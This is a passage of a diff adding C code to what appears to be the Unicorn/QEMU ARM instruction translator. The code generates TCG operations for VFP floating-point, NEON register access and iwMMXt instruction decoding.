tcg_ctx->cpu_F1s, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F1s, fpst); + } + tcg_temp_free_ptr(tcg_ctx, fpst); +} + +static inline void gen_vfp_F1_neg(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Like gen_vfp_neg() but put result in F1 */ + if (dp) { + gen_helper_vfp_negd(tcg_ctx, tcg_ctx->cpu_F1d, tcg_ctx->cpu_F0d); + } else { + gen_helper_vfp_negs(tcg_ctx, tcg_ctx->cpu_F1s, tcg_ctx->cpu_F0s); + } +} + +static inline void gen_vfp_abs(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + gen_helper_vfp_absd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d); + else + gen_helper_vfp_abss(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s); +} + +static inline void gen_vfp_neg(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + gen_helper_vfp_negd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d); + else + gen_helper_vfp_negs(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s); +} + +static inline void gen_vfp_sqrt(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + gen_helper_vfp_sqrtd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, tcg_ctx->cpu_env); + else + gen_helper_vfp_sqrts(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); +} + +static inline void gen_vfp_cmp(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + gen_helper_vfp_cmpd(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F1d, tcg_ctx->cpu_env); + else + gen_helper_vfp_cmps(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F1s, tcg_ctx->cpu_env); +} + +static inline void gen_vfp_cmpe(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + gen_helper_vfp_cmped(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F1d, tcg_ctx->cpu_env); + else + gen_helper_vfp_cmpes(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F1s, tcg_ctx->cpu_env); +} + +static inline void gen_vfp_F1_ld0(DisasContext *s, int dp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_F1d, 0); + else + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_F1s, 0); +} + +#define VFP_GEN_ITOF(name) \ +static inline void gen_vfp_##name(DisasContext *s, int dp, int neon) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv_ptr statusptr = get_fpstatus_ptr(s, neon); \ + if (dp) { \ + gen_helper_vfp_##name##d(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0s, statusptr); \ + } else { \ + gen_helper_vfp_##name##s(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, statusptr); \ + } \ + tcg_temp_free_ptr(tcg_ctx, statusptr); \ +} + +VFP_GEN_ITOF(uito) +VFP_GEN_ITOF(sito) +#undef VFP_GEN_ITOF + +#define VFP_GEN_FTOI(name) \ +static inline void gen_vfp_##name(DisasContext *s, int dp, int neon) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv_ptr statusptr = get_fpstatus_ptr(s, neon); \ + if (dp) { \ + gen_helper_vfp_##name##d(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0d, statusptr); \ + } else { \ + gen_helper_vfp_##name##s(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, statusptr); \ + } \ + tcg_temp_free_ptr(tcg_ctx, statusptr); \ +} + +VFP_GEN_FTOI(toui) +VFP_GEN_FTOI(touiz) +VFP_GEN_FTOI(tosi) +VFP_GEN_FTOI(tosiz) +#undef VFP_GEN_FTOI + +#define VFP_GEN_FIX(name, round) \ +static inline void gen_vfp_##name(DisasContext *s, int dp, int shift, int neon) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + TCGv_i32 tmp_shift = tcg_const_i32(tcg_ctx, shift); \ + TCGv_ptr statusptr = get_fpstatus_ptr(s, neon); \ + if (dp) { \ + gen_helper_vfp_##name##d##round(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_F0d, tmp_shift, \ + statusptr); \ + } else { \ + gen_helper_vfp_##name##s##round(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, tmp_shift, \ + statusptr); \ + } \ + tcg_temp_free_i32(tcg_ctx, tmp_shift); \ + tcg_temp_free_ptr(tcg_ctx, statusptr); \ +} +VFP_GEN_FIX(tosh, _round_to_zero) +VFP_GEN_FIX(tosl, _round_to_zero) +VFP_GEN_FIX(touh, _round_to_zero) +VFP_GEN_FIX(toul, _round_to_zero) +VFP_GEN_FIX(shto, ) +VFP_GEN_FIX(slto, ) +VFP_GEN_FIX(uhto, ) +VFP_GEN_FIX(ulto, ) +#undef VFP_GEN_FIX + +static inline void gen_vfp_ld(DisasContext *s, int dp, TCGv_i32 addr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) { + gen_aa32_ld64(s, tcg_ctx->cpu_F0d, addr, get_mem_index(s)); + } else { + gen_aa32_ld32u(s, tcg_ctx->cpu_F0s, addr, get_mem_index(s)); + } +} + +static inline void gen_vfp_st(DisasContext *s, int dp, TCGv_i32 addr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) { + gen_aa32_st64(s, tcg_ctx->cpu_F0d, addr, get_mem_index(s)); + } else { + gen_aa32_st32(s, tcg_ctx->cpu_F0s, addr, get_mem_index(s)); + } +} + +static inline long +vfp_reg_offset (int dp, int reg) +{ + if (dp) + return offsetof(CPUARMState, vfp.regs[reg]); + else if (reg & 1) { + return offsetof(CPUARMState, vfp.regs[reg >> 1]) + + offsetof(CPU_DoubleU, l.upper); + } else { + return offsetof(CPUARMState, vfp.regs[reg >> 1]) + + offsetof(CPU_DoubleU, l.lower); + } +} + +/* Return the offset of a 32-bit piece of a NEON register. + zero is the least significant end of the register. */ +static inline long +neon_reg_offset (int reg, int n) +{ + int sreg; + sreg = reg * 2 + n; + return vfp_reg_offset(0, sreg); +} + +static TCGv_i32 neon_load_reg(TCGContext *tcg_ctx, int reg, int pass) +{ + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(reg, pass)); + return tmp; +} + +static void neon_store_reg(TCGContext *tcg_ctx, int reg, int pass, TCGv_i32 var) +{ + tcg_gen_st_i32(tcg_ctx, var, tcg_ctx->cpu_env, neon_reg_offset(reg, pass)); + tcg_temp_free_i32(tcg_ctx, var); +} + +static inline void neon_load_reg64(TCGContext *tcg_ctx, TCGv_i64 var, int reg) +{ + tcg_gen_ld_i64(tcg_ctx, var, tcg_ctx->cpu_env, vfp_reg_offset(1, reg)); +} + +static inline void neon_store_reg64(TCGContext *tcg_ctx, TCGv_i64 var, int reg) +{ + tcg_gen_st_i64(tcg_ctx, var, tcg_ctx->cpu_env, vfp_reg_offset(1, reg)); +} + +#define tcg_gen_ld_f32 tcg_gen_ld_i32 +#define tcg_gen_ld_f64 tcg_gen_ld_i64 +#define tcg_gen_st_f32 tcg_gen_st_i32 +#define tcg_gen_st_f64 tcg_gen_st_i64 + +static inline void gen_mov_F0_vreg(DisasContext *s, int dp, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + tcg_gen_ld_f64(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); + else + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); +} + +static inline void gen_mov_F1_vreg(DisasContext *s, int dp, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + tcg_gen_ld_f64(tcg_ctx, tcg_ctx->cpu_F1d, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); + else + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F1s, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); +} + +static inline void gen_mov_vreg_F0(DisasContext *s, int dp, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (dp) + tcg_gen_st_f64(tcg_ctx, tcg_ctx->cpu_F0d, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); + else + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, vfp_reg_offset(dp, reg)); +} + +#define ARM_CP_RW_BIT (1 << 20) + +static inline void iwmmxt_load_reg(DisasContext *s, TCGv_i64 var, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_ld_i64(tcg_ctx, var, tcg_ctx->cpu_env, offsetof(CPUARMState, iwmmxt.regs[reg])); +} + +static inline void iwmmxt_store_reg(DisasContext *s, TCGv_i64 var, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_st_i64(tcg_ctx, var, tcg_ctx->cpu_env, offsetof(CPUARMState, iwmmxt.regs[reg])); +} + +static inline TCGv_i32 iwmmxt_load_creg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 var = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, var, tcg_ctx->cpu_env, offsetof(CPUARMState, iwmmxt.cregs[reg])); + return var; +} + +static inline void iwmmxt_store_creg(DisasContext *s, int reg, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_st_i32(tcg_ctx, var, tcg_ctx->cpu_env, offsetof(CPUARMState, iwmmxt.cregs[reg])); + tcg_temp_free_i32(tcg_ctx, var); +} + +static inline void gen_op_iwmmxt_movq_wRn_M0(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_store_reg(s, tcg_ctx->cpu_M0, rn); +} + +static inline void gen_op_iwmmxt_movq_M0_wRn(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_load_reg(s, tcg_ctx->cpu_M0, rn); +} + +static inline void gen_op_iwmmxt_orq_M0_wRn(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); + tcg_gen_or_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); +} + +static inline void gen_op_iwmmxt_andq_M0_wRn(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); + tcg_gen_and_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); +} + +static inline void gen_op_iwmmxt_xorq_M0_wRn(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); + tcg_gen_xor_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); +} + +#define IWMMXT_OP(name) \ +static inline void gen_op_iwmmxt_##name##_M0_wRn(DisasContext *s, int rn) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); \ + gen_helper_iwmmxt_##name(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); \ +} + +#define IWMMXT_OP_ENV(name) \ +static inline void gen_op_iwmmxt_##name##_M0_wRn(DisasContext *s, int rn) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); \ + gen_helper_iwmmxt_##name(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); \ +} + +#define IWMMXT_OP_ENV_SIZE(name) \ +IWMMXT_OP_ENV(name##b) \ +IWMMXT_OP_ENV(name##w) \ +IWMMXT_OP_ENV(name##l) + +#define IWMMXT_OP_ENV1(name) \ +static inline void gen_op_iwmmxt_##name##_M0(DisasContext *s) \ +{ \ + TCGContext *tcg_ctx = s->uc->tcg_ctx; \ + gen_helper_iwmmxt_##name(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_env, tcg_ctx->cpu_M0); \ +} + +IWMMXT_OP(maddsq) +IWMMXT_OP(madduq) +IWMMXT_OP(sadb) +IWMMXT_OP(sadw) +IWMMXT_OP(mulslw) +IWMMXT_OP(mulshw) +IWMMXT_OP(mululw) +IWMMXT_OP(muluhw) +IWMMXT_OP(macsw) +IWMMXT_OP(macuw) + +IWMMXT_OP_ENV_SIZE(unpackl) +IWMMXT_OP_ENV_SIZE(unpackh) + +IWMMXT_OP_ENV1(unpacklub) +IWMMXT_OP_ENV1(unpackluw) +IWMMXT_OP_ENV1(unpacklul) +IWMMXT_OP_ENV1(unpackhub) +IWMMXT_OP_ENV1(unpackhuw) +IWMMXT_OP_ENV1(unpackhul) +IWMMXT_OP_ENV1(unpacklsb) +IWMMXT_OP_ENV1(unpacklsw) +IWMMXT_OP_ENV1(unpacklsl) +IWMMXT_OP_ENV1(unpackhsb) +IWMMXT_OP_ENV1(unpackhsw) +IWMMXT_OP_ENV1(unpackhsl) + +IWMMXT_OP_ENV_SIZE(cmpeq) +IWMMXT_OP_ENV_SIZE(cmpgtu) +IWMMXT_OP_ENV_SIZE(cmpgts) + +IWMMXT_OP_ENV_SIZE(mins) +IWMMXT_OP_ENV_SIZE(minu) +IWMMXT_OP_ENV_SIZE(maxs) +IWMMXT_OP_ENV_SIZE(maxu) + +IWMMXT_OP_ENV_SIZE(subn) +IWMMXT_OP_ENV_SIZE(addn) +IWMMXT_OP_ENV_SIZE(subu) +IWMMXT_OP_ENV_SIZE(addu) +IWMMXT_OP_ENV_SIZE(subs) +IWMMXT_OP_ENV_SIZE(adds) + +IWMMXT_OP_ENV(avgb0) +IWMMXT_OP_ENV(avgb1) +IWMMXT_OP_ENV(avgw0) +IWMMXT_OP_ENV(avgw1) + +IWMMXT_OP_ENV(packuw) +IWMMXT_OP_ENV(packul) +IWMMXT_OP_ENV(packuq) +IWMMXT_OP_ENV(packsw) +IWMMXT_OP_ENV(packsl) +IWMMXT_OP_ENV(packsq) + +static void gen_op_iwmmxt_set_mup(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + tmp = load_cpu_field(s->uc, iwmmxt.cregs[ARM_IWMMXT_wCon]); + tcg_gen_ori_i32(tcg_ctx, tmp, tmp, 2); + store_cpu_field(tcg_ctx, tmp, iwmmxt.cregs[ARM_IWMMXT_wCon]); +} + +static void gen_op_iwmmxt_set_cup(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + tmp = load_cpu_field(s->uc, iwmmxt.cregs[ARM_IWMMXT_wCon]); + tcg_gen_ori_i32(tcg_ctx, tmp, tmp, 1); + store_cpu_field(tcg_ctx, tmp, iwmmxt.cregs[ARM_IWMMXT_wCon]); +} + +static void gen_op_iwmmxt_setpsr_nz(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + gen_helper_iwmmxt_setpsr_nz(tcg_ctx, tmp, tcg_ctx->cpu_M0); + store_cpu_field(tcg_ctx, tmp, iwmmxt.cregs[ARM_IWMMXT_wCASF]); +} + +static inline void gen_op_iwmmxt_addl_M0_wRn(DisasContext *s, int rn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, rn); + tcg_gen_ext32u_i64(tcg_ctx, tcg_ctx->cpu_V1, tcg_ctx->cpu_V1); + tcg_gen_add_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); +} + +static inline int gen_iwmmxt_address(DisasContext *s, uint32_t insn, + TCGv_i32 dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd; + uint32_t offset; + TCGv_i32 tmp; + + rd = (insn >> 16) & 0xf; + tmp = load_reg(s, rd); + + offset = (insn & 0xff) << ((insn >> 7) & 2); + if (insn & (1 << 24)) { + /* Pre indexed */ + if (insn & (1 << 23)) + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, offset); + else + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, 0-offset); + tcg_gen_mov_i32(tcg_ctx, dest, tmp); + if (insn & (1 << 21)) + store_reg(s, rd, tmp); + else + tcg_temp_free_i32(tcg_ctx, tmp); + } else if (insn & (1 << 21)) { + /* Post indexed */ + tcg_gen_mov_i32(tcg_ctx, dest, tmp); + if (insn & (1 << 23)) + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, offset); + else + tcg_gen_addi_i32(tcg_ctx, tmp, tmp, 0-offset); + store_reg(s, rd, tmp); + } else if (!(insn & (1 << 23))) + return 1; + return 0; +} + +static inline int gen_iwmmxt_shift(DisasContext *s, uint32_t insn, uint32_t mask, TCGv_i32 dest) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = (insn >> 0) & 0xf; + TCGv_i32 tmp; + + if (insn & (1 << 8)) { + if (rd < ARM_IWMMXT_wCGR0 || rd > ARM_IWMMXT_wCGR3) { + return 1; + } else { + tmp = iwmmxt_load_creg(s, rd); + } + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + iwmmxt_load_reg(s, tcg_ctx->cpu_V0, rd); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_V0); + } + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, mask); + tcg_gen_mov_i32(tcg_ctx, dest, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + return 0; +} + +/* Disassemble an iwMMXt instruction. Returns nonzero if an error occurred + (ie. an undefined instruction). */ +static int disas_iwmmxt_insn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd, wrd; + int rdhi, rdlo, rd0, rd1, i; + TCGv_i32 addr; + TCGv_i32 tmp, tmp2, tmp3; + + if ((insn & 0x0e000e00) == 0x0c000000) { + if ((insn & 0x0fe00ff0) == 0x0c400000) { + wrd = insn & 0xf; + rdlo = (insn >> 12) & 0xf; + rdhi = (insn >> 16) & 0xf; + if (insn & ARM_CP_RW_BIT) { /* TMRRC */ + iwmmxt_load_reg(s, tcg_ctx->cpu_V0, wrd); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_R[rdlo], tcg_ctx->cpu_V0); + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_R[rdhi], tcg_ctx->cpu_V0); + } else { /* TMCRR */ + tcg_gen_concat_i32_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_R[rdlo], tcg_ctx->cpu_R[rdhi]); + iwmmxt_store_reg(s, tcg_ctx->cpu_V0, wrd); + gen_op_iwmmxt_set_mup(s); + } + return 0; + } + + wrd = (insn >> 12) & 0xf; + addr = tcg_temp_new_i32(tcg_ctx); + if (gen_iwmmxt_address(s, insn, addr)) { + tcg_temp_free_i32(tcg_ctx, addr); + return 1; + } + if (insn & ARM_CP_RW_BIT) { + if ((insn >> 28) == 0xf) { /* WLDRW wCx */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + iwmmxt_store_creg(s, wrd, tmp); + } else { + i = 1; + if (insn & (1 << 8)) { + if (insn & (1 << 22)) { /* WLDRD */ + gen_aa32_ld64(s, tcg_ctx->cpu_M0, addr, get_mem_index(s)); + i = 0; + } else { /* WLDRW wRd */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + } + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + if (insn & (1 << 22)) { /* WLDRH */ + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + } else { /* WLDRB */ + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + } + } + if (i) { + tcg_gen_extu_i32_i64(tcg_ctx, tcg_ctx->cpu_M0, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + } + } else { + if ((insn >> 28) == 0xf) { /* WSTRW wCx */ + tmp = iwmmxt_load_creg(s, wrd); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + } else { + gen_op_iwmmxt_movq_M0_wRn(s, wrd); + tmp = tcg_temp_new_i32(tcg_ctx); + if (insn & (1 << 8)) { + if (insn & (1 << 22)) { /* WSTRD */ + gen_aa32_st64(s, tcg_ctx->cpu_M0, addr, get_mem_index(s)); + } else { /* WSTRW wRd */ + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + } + } else { + if (insn & (1 << 22)) { /* WSTRH */ + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + } else { /* WSTRB */ + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_M0); + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + } + } + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); + return 0; + } + + if ((insn & 0x0f000000) != 0x0e000000) + return 1; + + switch (((insn >> 12) & 0xf00) | ((insn >> 4) & 0xff)) { + case 0x000: /* WOR */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 0) & 0xf; + rd1 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + gen_op_iwmmxt_orq_M0_wRn(s, rd1); + gen_op_iwmmxt_setpsr_nz(s); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x011: /* TMCR */ + if (insn & 0xf) + return 1; + rd = (insn >> 12) & 0xf; + wrd = (insn >> 16) & 0xf; + switch (wrd) { + case ARM_IWMMXT_wCID: + case ARM_IWMMXT_wCASF: + break; + case ARM_IWMMXT_wCon: + gen_op_iwmmxt_set_cup(s); + /* Fall through. */ + case ARM_IWMMXT_wCSSF: + tmp = iwmmxt_load_creg(s, wrd); + tmp2 = load_reg(s, rd); + tcg_gen_andc_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + iwmmxt_store_creg(s, wrd, tmp); + break; + case ARM_IWMMXT_wCGR0: + case ARM_IWMMXT_wCGR1: + case ARM_IWMMXT_wCGR2: + case ARM_IWMMXT_wCGR3: + gen_op_iwmmxt_set_cup(s); + tmp = load_reg(s, rd); + iwmmxt_store_creg(s, wrd, tmp); + break; + default: + return 1; + } + break; + case 0x100: /* WXOR */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 0) & 0xf; + rd1 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + gen_op_iwmmxt_xorq_M0_wRn(s, rd1); + gen_op_iwmmxt_setpsr_nz(s); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x111: /* TMRC */ + if (insn & 0xf) + return 1; + rd = (insn >> 12) & 0xf; + wrd = (insn >> 16) & 0xf; + tmp = iwmmxt_load_creg(s, wrd); + store_reg(s, rd, tmp); + break; + case 0x300: /* WANDN */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 0) & 0xf; + rd1 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + tcg_gen_neg_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0); + gen_op_iwmmxt_andq_M0_wRn(s, rd1); + gen_op_iwmmxt_setpsr_nz(s); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x200: /* WAND */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 0) & 0xf; + rd1 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + gen_op_iwmmxt_andq_M0_wRn(s, rd1); + gen_op_iwmmxt_setpsr_nz(s); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x810: case 0xa10: /* WMADD */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 0) & 0xf; + rd1 = (insn >> 16) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + if (insn & (1 << 21)) + gen_op_iwmmxt_maddsq_M0_wRn(s, rd1); + else + gen_op_iwmmxt_madduq_M0_wRn(s, rd1); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x10e: case 0x50e: case 0x90e: case 0xd0e: /* WUNPCKIL */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + gen_op_iwmmxt_unpacklb_M0_wRn(s, rd1); + break; + case 1: + gen_op_iwmmxt_unpacklw_M0_wRn(s, rd1); + break; + case 2: + gen_op_iwmmxt_unpackll_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x10c: case 0x50c: case 0x90c: case 0xd0c: /* WUNPCKIH */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + gen_op_iwmmxt_unpackhb_M0_wRn(s, rd1); + break; + case 1: + gen_op_iwmmxt_unpackhw_M0_wRn(s, rd1); + break; + case 2: + gen_op_iwmmxt_unpackhl_M0_wRn(s, rd1); + break; + case 3: + return 1; + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + gen_op_iwmmxt_set_cup(s); + break; + case 0x012: case 0x112: case 0x412: case 0x512: /* WSAD */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + if (insn & (1 << 22)) + gen_op_iwmmxt_sadw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_sadb_M0_wRn(s, rd1); + if (!(insn & (1 << 20))) + gen_op_iwmmxt_addl_M0_wRn(s, wrd); + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x010: case 0x110: case 0x210: case 0x310: /* WMUL */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + if (insn & (1 << 21)) { + if (insn & (1 << 20)) + gen_op_iwmmxt_mulshw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_mulslw_M0_wRn(s, rd1); + } else { + if (insn & (1 << 20)) + gen_op_iwmmxt_muluhw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_mululw_M0_wRn(s, rd1); + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x410: case 0x510: case 0x610: case 0x710: /* WMAC */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + if (insn & (1 << 21)) + gen_op_iwmmxt_macsw_M0_wRn(s, rd1); + else + gen_op_iwmmxt_macuw_M0_wRn(s, rd1); + if (!(insn & (1 << 20))) { + iwmmxt_load_reg(s, tcg_ctx->cpu_V1, wrd); + tcg_gen_add_i64(tcg_ctx, tcg_ctx->cpu_M0, tcg_ctx->cpu_M0, tcg_ctx->cpu_V1); + } + gen_op_iwmmxt_movq_wRn_M0(s, wrd); + gen_op_iwmmxt_set_mup(s); + break; + case 0x006: case 0x406: case 0x806: case 0xc06: /* WCMPEQ */ + wrd = (insn >> 12) & 0xf; + rd0 = (insn >> 16) & 0xf; + rd1 = (insn >> 0) & 0xf; + gen_op_iwmmxt_movq_M0_wRn(s, rd0); + switch ((insn >> 22) & 3) { + case 0: + 